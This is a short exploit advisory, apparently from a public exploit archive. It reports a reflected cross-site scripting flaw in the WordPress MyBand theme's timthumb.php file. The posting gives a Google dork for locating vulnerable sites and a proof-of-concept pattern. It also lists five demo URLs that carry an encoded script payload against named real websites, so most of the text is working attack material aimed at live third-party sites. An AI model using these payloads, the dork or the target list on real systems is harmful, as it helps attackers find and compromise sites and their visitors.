WordPress MyBand Theme Cross Site Scripting

`|#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#|  
|-------------------------------------------------------------------------|  
| [*] Exploit Title: Wordpress MyBand Theme Cross site scripting  
|  
| [*] Exploit Author: Ashiyane Digital Security Team  
|  
| [*] Date : Date: 2014-08-03  
|  
| [*] Vendor Homepage : http://www.mybandtheme.com  
|  
| [*] Google Dork: inurl:wp-content/themes/myband  
|  
| [*] Tested on: Windows , Mozila Firefox  
|-------------------------------------------------------------------------|  
| [*] Kind: XSS Reflected  
|  
| [*] PoC :  
|  
| [*] [Localhost]/wordpress/wp-content/themes/myband/timthumb.php?src=[XSS]  
|-------------------------------------------------------------------------|  
| [*] Demo:  
|  
| [*]   
http://www.appoloss.fr/site/wp-content/themes/myband/timthumb.php?src=%22/%3E%3Cscript%3Ealert%281%29;%3C/script%3E  
|  
| [*]   
http://www.sirusofficial.com/wp-content/themes/myband/timthumb.php?src=%22/%3E%3Cscript%3Ealert%281%29;%3C/script%3E  
|  
| [*]   
http://theargues.ca/wp-V2/wp-content/themes/myband/timthumb.php?src=%22/%3E%3Cscript%3Ealert%281%29;%3C/script%3E  
|  
| [*]   
http://www.acyl.fr/wp-content/themes/myband/timthumb.php?src=%22/%3E%3Cscript%3Ealert%281%29;%3C/script%3E  
|  
| [*]   
http://t-rox.ca/wp-content/themes/myband/timthumb.php?src=%22/%3E%3Cscript%3Ealert%281%29;%3C/script%3E  
|  
|-------------------------------------------------------------------------|  
| [*]Discovered By : ACC3SS  
|-------------------------------------------------------------------------|  
|-------------------------------------------------------------------------|  
|#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#|  
`